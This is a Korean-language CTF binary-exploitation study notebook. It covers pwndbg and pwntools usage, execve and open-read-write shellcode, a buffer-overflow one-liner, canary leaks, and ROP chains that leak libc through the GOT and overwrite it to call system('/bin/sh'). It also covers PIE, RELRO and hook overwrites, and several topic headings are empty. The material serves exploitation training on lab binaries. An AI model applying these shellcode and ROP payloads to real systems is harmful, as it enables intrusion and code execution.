Setting
Ubuntu 22.04
CTF용 우분투 세팅 (wsl)
sudo apt update -y
sudo apt install netcat vim git gcc ssh curl wget gdb sudo python3 python3-pip -y
sudo apt install libffi-dev build-essential libssl-dev libc6-i386 libc6-dbg gcc-multilib make tmux xterm -y
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6:i386 -y
python3 -m pip install --upgrade pip
pip3 install unicorn keystone-engine pwntools ropgadget
sudo apt install libcapstone-dev -y
cd ~
# git clone https://github.com/longld/peda.git ~/peda
# echo "source ~/peda/peda.py" >> ~/.gdbinit
# git clone https://github.com/scwuaptx/Pwngdb.git
# cp ~/Pwngdb/.gdbinit ~/
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
sudo apt install ruby-full -y
sudo gem install one_gadget seccomp-tools
Pwngdb
# Entry point address: 0x10c0
readelf -h stack
# gadget
ROPgadget --binary ./binary_or_library > gadget
# gdb 실행
cd "/mnt/c/wsl2/stack"
gdb binary_name
# 보호 기법 확인
pwngdb> checksec
# 함수 주소 찾기
pwngdb> print <function_name>
# b breakpoint / c continue / r run / si step into / ni next instruction / i info / k kill/ pd pdisas
pwngdb> entry
pwngdb> b *main
pwngdb> c
# bp listing & cancle
pwngdb> i b
pwngdb> d 1
# backtrace
pwngdb> bt
# set <주소/레지스터> = <변경할 값>
pwndbg> set $rax = 0
pwndbg> set $rsp = $rbp
pwndbg> set *(unsigned int*)0x400000 = 10
pwndbg> set *(float*)0x400010 = 3.14
# 어떤 함수의 내부까지 궁금할 때는 si를, 그렇지 않을 때는 ni
# next instruction
pwngdb> ni
pwngdb> si
# si 로 들어갔을 때 해당 함수 한번에 실행하여 나오기
pwngdb> fin
# disassembly
pwngdb> disassemble main
## 가독성 좋게 메모리 구조 표현해줌
pwngdb> u
# info registers
pwngdb> i r
# rsp 부터 80바이트를 8바이트 씩 hex형식으로 출력
pwngdb> x/20gx $rsp
# rip부터 5줄의 어셈블리 명령어 출력
pwngdb> x/5i $rip
# 특정 주소의 문자열 출력
pwngdb> x/s 0x40000
# 재귀적으로 메모리가 참조하고 있는 주소 탐색
pwngdb> tele
pwngdb> telescope $esp 40
# 파일이 매핑 된 영역일 경우 해당 파일의 경로까지 보여줌
pwngdb> vmmap
# 입력값 전달
pwndbg> r $(python3 -c "print('\xff' * 100)")
pwndbg> r $(python3 -c "print('\xff' * 100)") <<< $(python3 -c "print('dreamhack')")
# 특정 이벤트 발생 시 프로세스 중지
pwndbg> catch syscall arch_prctl
# 특정 주소의 값이 변경될 시 프로세스 중지
pwndbg> watch *(0x7ffff7d87740+0x28)
PwnTool
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
# CTF 풀 때, 원격으로 붙기
p = remote("host3.dreamhack.games", 14855)
# 로컬 바이너리 실행 & 특정 lib 로드
elf = context.binary = ELF("./rao")
libc = ELF("./libc.so.6")
p = process(elf.path, env={"LD_PRELOAD":"./libc.so.6"})
# 디버깅 / 실행 전에 ubuntu에서 tmux 입력
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
# printf에 중요 정보가 있을 때
p.recvuntil(b"Printf() address : ")
printf_addr = int(p.recvline().strip(), 16)
# 해당 함수의 실 위치
libc.sym["printf"]
libc.symbols["printf"]
# 문자열 찾기
next(libc.search(b"/bin/sh"))
# 가젯 찾기
ROP(libc).find_gadget(["pop rdi", "ret"])[0]
# payload
offset = 56
payload = b"A" * offset
payload += p64(get_shell_addr)
# payload 입력 직후 stack을 보고 싶을때
pause()
pwngdb> ni
pause 풀기 # tmux Ctrl + b 후 방향키로 입력창 변경 가능
pwngdb> fin # 원하는 곳까지 나오기
# scanf로 받을 때
p.sendafter("Input: ", payload)
# 그 외
p.send(payload)
# 셸 획득
p.interactive()
Pwndocker
낮은 버전의 libc 라이브러리를 사용하게 될 시 Ubuntu-22.04 와 같은 OS는 해당 라이브러리를 로드할 수 없다.
이때, Ubuntu 버전을 낮추는 등 라이브러리를 로드할 수 있게 환경을 구성해야 하는데, 도커를 활용해 해당 문제를 빠르게 해결하여 환경을 구축할 수 있다.
LD_PRELOAD
libc만 로드하면 현재 사용 중인 ld 파일을 기준으로 로드하기 때문에 해당 libc 버전에 맞는 ld파일도 같이 로드해야 함. *LD 파일은 libc의 함수를 가져오는 역할을 함.
실행파일을 실행하는 과정에서 라이브러리를 로딩할 때, 환경 변수가 설정되어 있다면 지정된 라이브러리를 먼저 로딩하도록 하는 변수다.
patchelf
OS버전과 라이브러리 버전이 너무 안맞아 LD_PRELOAD를 해도 로드되지 않는 상황일 때, 사용하는 툴로 LD_PRELOAD를 통해 실행파일이 지정한 라이브러리와 로더를 사용할 수 있게 지정했던 것처럼 패치를 통해 지정한다.
patchelf --set-interpreter <변경할 ld 경로> <실행 파일>
patchelf --replace-needed <변경할 내용> <변경할 파일> <실행 파일>
patchelf --set-interpreter /glibc/2.27/64/lib/ld-2.27.so ./fho
patchelf --replace-needed libc.so.6 ./libc-2.27.so ./fho
Shellcode
어셈블리어로 쉘코드를 작성할 수 있어야 추후 원하는 동작으로 이끌어내는 데 도움이 될테니 알아두자.
orw shellcode
파일을 열고 읽고 출력해주는 쉘코드로 아래 함수 정보를 이용하여 작성하면 된다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
---|---|---|---|---|
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
execve shellcode
쉘을 얻는 코드로 일반적으로 쉘코드라 하면 해당 방법을 의미함.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
---|---|---|---|---|
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
skeleton code
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)"
);
void run_sh();
int main() { run_sh(); }
Extract Shellcode
objdump -d poc
objcopy -O binary --only-section=.text poc text.bin
xxd -i text.bin
BOF
설정된 버퍼보다 더 많은 양의 데이터를 입력하여 해당 버퍼를 넘어 다른 데이터 영역까지 침범하는 취약점
- 중요 데이터 변조 [다른 데이터 영역 침범]
- 데이터 유출 [널 바이트 삭제]
- 실행 흐름 조작 [RIP, 함수의 반환 주소 조작]
Ubuntu 20.04 버전 이상은 기본적으로 Segmentation fault라는 에러가 출력시 /var/lib/apport/coredump
에 코어 파일을 생성하기에 해당 파일을 통해 디버깅 할 수 있다.
# 코어 파일이 생성되지 않을 때, 코어 파일 크기 제한 해제
ulimit -c unlimited
# 코어 파일 분석 법
gdb rao -c core.1828876
위험 함수들
주로 BOF가 발생할 수 있는 함수들 정리
입력 함수(패턴) | 위험도 | 평가 근거 |
---|---|---|
gets(buf) | 매우 위험 |
|
scanf(“%s”, buf) | 매우 위험 |
|
scanf(“%[width]s”, buf) | 주의 필요 |
|
fgets(buf, len, stream) | 주의 필요 |
|
Return Address Overwrite
만약 버퍼의 주소를 알고 있다면, 버퍼에 바로 쉘 코드를 삽입하고 버퍼 주소로 RAO를 하는 방법도 있다.
buf 크기보다 더 데이터를 입력할 수 있다면, 아래 그림에 따르면 0x38만큼의 dummy data를 삽입 후 return address를 덮어 쓰면 된다.
아래와 같은 방법으로 위 그림의 스택 구조를 가진 프로그램에서 exploit 할 수 있다.
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
실제 Stack 상황을 보면 RSP에 입력 값[“AAAAAAAAAAAA”]이 들어가 있고, RBP + 8 부분에 돌아가야 할 주소가 적혀 있는 것을 알 수 있다. 즉, RBP + 8 부분의 값을 원하는 값으로 변경하여 프로그램 흐름을 조작하는 것이다.
Stack Canary
Ubuntu 22.04의 gcc는 기본적으로 스택 카나리가 적용된다. [-fno-stack-protector 없애려면 옵션 필요]
Canary 분석
카나리 적용 전/후 비교 시 에러 문구가 달라짐을 알 수 있다.
카나리 적용 전/후 main 함수 비교 시 일부 명령어들이 추가됨을 알 수 있다.
리눅스는 fs를 Thread Local Storage (TLS)를 가리키는 포인터로 사용
...
<+8>: sub rsp,0x10
<+12>: mov rax,QWORD PTR fs:0x28 # fs[세그먼트]에 랜덤 값 저장
<+21>: mov QWORD PTR [rbp-0x8],rax # rbp-0x8에 값 저장
...
<+54>: mov rdx,QWORD PTR [rbp-0x8] # rdx에 카나리 값 옮기기
<+58>: sub rdx,QWORD PTR fs:0x28 # 뺄셈을 통해 비교
<+67>: je 0x5555555551b3 <main+74> # 같으면 점프
<+69>: call 0x555555555060 <__stack_chk_fail@plt> # 다르면 fail
<+74>: leave
<+75>: ret
TLS
더 자세한 로직에 대해서는 Master Canary에서 다루기
thread의 저장 공간(thread의 전역 변수를 저장하기 위한 공간으로 Loader에 의해서 할당)을 의미하며 모든 스레드가 참조할 수 있는 전역 변수를 저장하는데에 쓰인다.
init_tls() 함수에서의 레지스터 값 확인
- ARCH_SET_FS의 상수 값 : 0x1002
- TLS 주소 : 0x7ffff7d87740
- canary 주소 : fs + 0x28 -> 0x7ffff7d87740 + 0x28
main() 함수 진입 후 해당 부분의 값을 보면 stack canary 값을 볼 수 있다.
우회
- TLS 접근 TLS에 카나리 값이 저장되기 때문에 TLS의 주소와 읽기, 쓰기 권한이 있다면 임의의 값으로 조작할 수 있다.
- Stack Canary Leak
StackCanary가 저장된 스택 위에서 BOF를 발생시킬 수 있다면, StackCanary의 마지막
/x00
를 지워 출력되게 할 수 있다.
int main() {
char first[8];
char second[8];
printf("second : ");
read(0, second, 64);
printf("second %s\n", second);
printf("first : ");
read(0, first, 64);
printf("first %s\n", first);
return 0;
}
지역변수의 스택 위치를 파악하는 것이 중요하다.
rbp - 0x18 : first[8]
rbp - 0x10 : second[8]
rbp - 0x8 : StackCanary
으로 되어 있다.
second 입력 시 AAAAAAAA
와 Enter 입력[\x0a
]까지 포함하여 총 9 문자 입력 시 StackCanary의 \x00
값이 \x0a
로 되면서 같이 출력된다.
NX & ASLR
No Execute
-zexecstack
옵션을 통해 보호 기법을 뺄 수 있다.
실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역을 분리하는 보호 기법이다.
nx 보호 기법의 적용 전/후를 보면 stack 영역의 실행권한 여부에서 차이가 있다.
Address Space Layout Randomization
파일을 Page 단위로 매핑하기 때문에 페이지의 크기인 하위 3바이트는 변경되지 않는다.
바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호 기법이다.
ASLR이 적용됐을 때, 바이너리 실행 시 buf의 주소가 실행마다 달라짐을 볼 수 있다.
Link
# 바이너리에 link된 라이브러리 확인
ldd binary_name
# gcc의 표준 라이브러리 경로 확인
ld --verbose | grep SEARCH_DIR | tr -s ' ;' '\n'
Static으로 링크했을 시 puts
함수를 직접 호출한다.
Dynamic으로 링크했을 시
puts
함수의 PLT 주소를 호출한다.
PLT & GOT
함수가 제일 처음 호출될 때,
runtime resolve
과정을 거쳐 GOT에 주소를 저장하며, 이후에 호출될 때 GOT를 참조하여 주소를 꺼낸다.
동적으로 링크된 심볼의 주소를 찾기 위해 사용하는 테이블.
- 처음 시작 시 아직
puts
함수가 실행되지 않아 resolve가 안되어있기에plt
주소가 적혀있다. - 첫
puts
함수 call 시si
로 내부로 들어가면_dl_runtime_resolve_fxsave
함수에 의해 GOT에 주소가 저장된다. - 두 번째
puts
함수 call 시si
로 내부로 들어가면 GOT에 주소가 저장되어 있기에 바로puts
함수가 시작된다. - GOT 변조 시 변조된 주소로 실행 흐름이 넘어간다 [GOT Overwrite 공격 기법]
우회
- Return to Library 실행 권한이 남아있는 코드 영역[바이너리의 코드 영역, 라이브러리의 코드 영역]으로 반환 주소를 덮는 공격 방법
- Return Oriented Programming
실행 권한이 있는 영역에 있는 명령어 조각[가젯]을 이용하여 함수를 실행하는 것으로
ret
가젯을 이용하여 복잡한 실행 흐름을 구현할 수 있는 기법이다. - libc 관련 주소 얻기
read
,puts
,printf
등 libc 라이브러리에 있는 함수들이 사용되고 있다면 해당 함수들의 GOT를 읽고, libc 라이브러리 내system
함수와의 거리 차이를 통해 계산한다.
또는 main
함수의 반환 주소인 libc_start_main+x
를 Leak하여 거리 차이를 통해 계산한다.
ROP
dreamhack rop 문제 풀이 중 궁금한 부분 정리
- 가젯의 활용
libc의 코드 가젯이나, libc_csu_init 가젯 사용하여 문제 해결 원하는 레지스터를 변경시키는 함수를 호출하여 문제 해결 libc_csu_init 가젯에 대한 내용은 Return-to-Csu 등의 키워드로 구글에 검색
-
pop rsi r15 가젯 사용 이유 rop binary 내 가젯에서
pop rsi ; ret
가젯이 존재 하지 않고,pop rsi ; pop r15 ; ret
가젯만 존재하기 때문에 사용한 것으로pop r15
의 경우 rop 문제에서는 무의미하며pop rsi
명령을 사용하기 위해 쓴거다. -
pop rdx 가젯 미사용 이유 바이너리 내 rdx 가젯이 존재하지 않고, 해당 문제에서는 이미 0x100이라는 충분한 길이가 설정되어 있어서 사용하지 않음.
- GOT Leak
write 함수를 통해 read GOT 값을 출력시켜 주소 Leak하며 이때 6byte를 읽는 이유는 write 함수는 문자열을 출력해주는 함수이기 때문에 \x00
는 출력되지 않기 때문이다.
64비트 바이너리의 libc주소는 보통 0x7f부터 시작되며 총 6바이트고 나머지는 0x00으로 채워진다.
u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
로 받아도 됨.
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # 마지막 p64(0)은 pop r15 때문
payload += p64(write_plt)
# 출력된 read GOT로 libc base Address Leak
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
- GOT Overwrite read 함수의 GOT를 system 주소로 변조
# read(0, read_got, …) -> read_got에 system 주소 입력
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # 마지막 p64(0)은 pop r15 때문
payload += p64(read_plt)
p.send(p64(system) + b’/bin/sh\x00’)
- system 호출
read_got에
system 주소 + "/bin/sh\x00"
로 총 16byte를 입력하였기 때문에"/bin/sh\x00"
는 read_got+0x8 주소에 입력되어 있음
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.send(p64(system) + b'/bin/sh\x00')
PIE & RELRO
Position-Independent Executable
ASLR만 적용될 경우 실행 파일의
main()
이나 전역 변수 등이 위치한 주소는 항상 고정된 상태일 수 있다는 점
PIE는 무작위 주소에 매핑돼도 실행 가능한 실행 파일을 뜻한다.
ASLR과 PIE가 둘 다 적용된 상태면 스택, 힙, 라이브러리 영역뿐만 아니라 실행 파일이 매핑되는 영역도 무작위하게 바뀐다.
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf_stack[0x10]; // 스택 영역의 버퍼
char *buf_heap = (char *)malloc(0x10); // 힙 영역의 버퍼
printf("buf_stack addr: %p\n", buf_stack);
printf("buf_heap addr: %p\n", buf_heap);
printf("libc_base addr: %p\n",
*(void **)dlopen("libc.so.6", RTLD_LAZY)); // 라이브러리 영역 주소
printf("printf addr: %p\n",
dlsym(dlopen("libc.so.6", RTLD_LAZY),
"printf")); // 라이브러리 영역의 함수 주소
printf("main addr: %p\n", main); // 코드 영역의 함수 주소
}
- 코드 베이스 구하기
위에서 libc 베이스를 구한 것 처럼 바이너리 베이스 주소를 구하는 방법 사용
- Partial Overwrite
ASLR의 특성 상, 코드 영역의 주소도 하위 12비트 값은 항상 같다. 따라서 사용하려는 코드 가젯의 주소가 반환 주소와 하위 한 바이트만 다르다면, 이 값만 덮어서 원하는 코드를 실행시킬 수 있다.
RELocation Read-Only
Lazy Binding 방식은 함수 초기 호출 시 GOT 업데이트 하기 때문에 GOT가 존재하는 메모리 영역에 쓰기 권한이 부여됨.
RELRO는 쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한을 제거한다. RELRO는 Partial, Full 두 가지로 나뉜다.
.got
, .got.plt
영역의 차이는 now, lazy binding 차이로 실행되는 시점에 바인딩 된 값들이 있는 영역과 실행 중에 값이 써져야 하는 영역의 차이다.
Partial RELRO
보통은 Full로 적용되며
-no-pie
옵션을 통해 PIE를 해제하면 Partial RELRO가 적용된다.
해당 경우는 .got.plt 영역에 대한 쓰기 권한이 존재하므로 GOT Overwrite방법으로 우회할 수 있다.
Full RELRO
라이브러리에 위치한 hook
을 통해 우회한다. -> Hook Overwrite
우회
Hook Overwrite
Glibc 2.33 이하 버전에서는 libc 데이터 영역에
malloc
,free
를 호출할 때 함께 호출 되는Hook
이 함수 포인터 형태로 존재한다.
Hook이라는 함수 포인터를 임의의 함수 주소로 오버라이트 하는 방법이다. Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하기 때문에 사용 가능한 방법이다.
훅을 실행할 때, 기존 함수에 전달한 인자를 같이 전달하기 때문에 __malloc_hook
을 system
주소로 변조하고 malloc("/bin/sh")
호출 시 쉘을 얻을 수 있다.
One Gadget
Glibc 버전마다 다르게 존재하며, 사용하기 위한 제약 조건도 모두 다르고 버전이 높을 수록 제약 조건을 만족하기 어렵긴 하다.
기존에는 쉘을 실행하기 위해 복잡한 ROP Chain을 구성했지만 단일 가젯만으로도 쉘을 실행할 수 있는 가젯이다.
Out-of-Bounds (OOB)
C언어
Command Injection
Path Traversal
Type Error
Use After Free (UAF)
Double Free
Format String
Util
Little Endian 변환 코드
import binascii
def hex_lsb(hex_val):
hex_arr = []
hex_str_lsb = ''.join([hex_val[i-2:i] for i in range(len(hex_val), 0, -2)])
if len(hex_str_lsb)>16:
for i in range(len(hex_str_lsb), 0, -16):
chunk = hex_str_lsb[max(i-16, 0):i]
hex_arr.append(f"0x{chunk}")
else:
hex_arr.append(hex_str_lsb)
return hex_arr[::-1]
hex = b"/tmp/flag"
hex = str(binascii.hexlify(hex))
hex = hex[2:len(hex)-1]
print(hex_lsb(hex))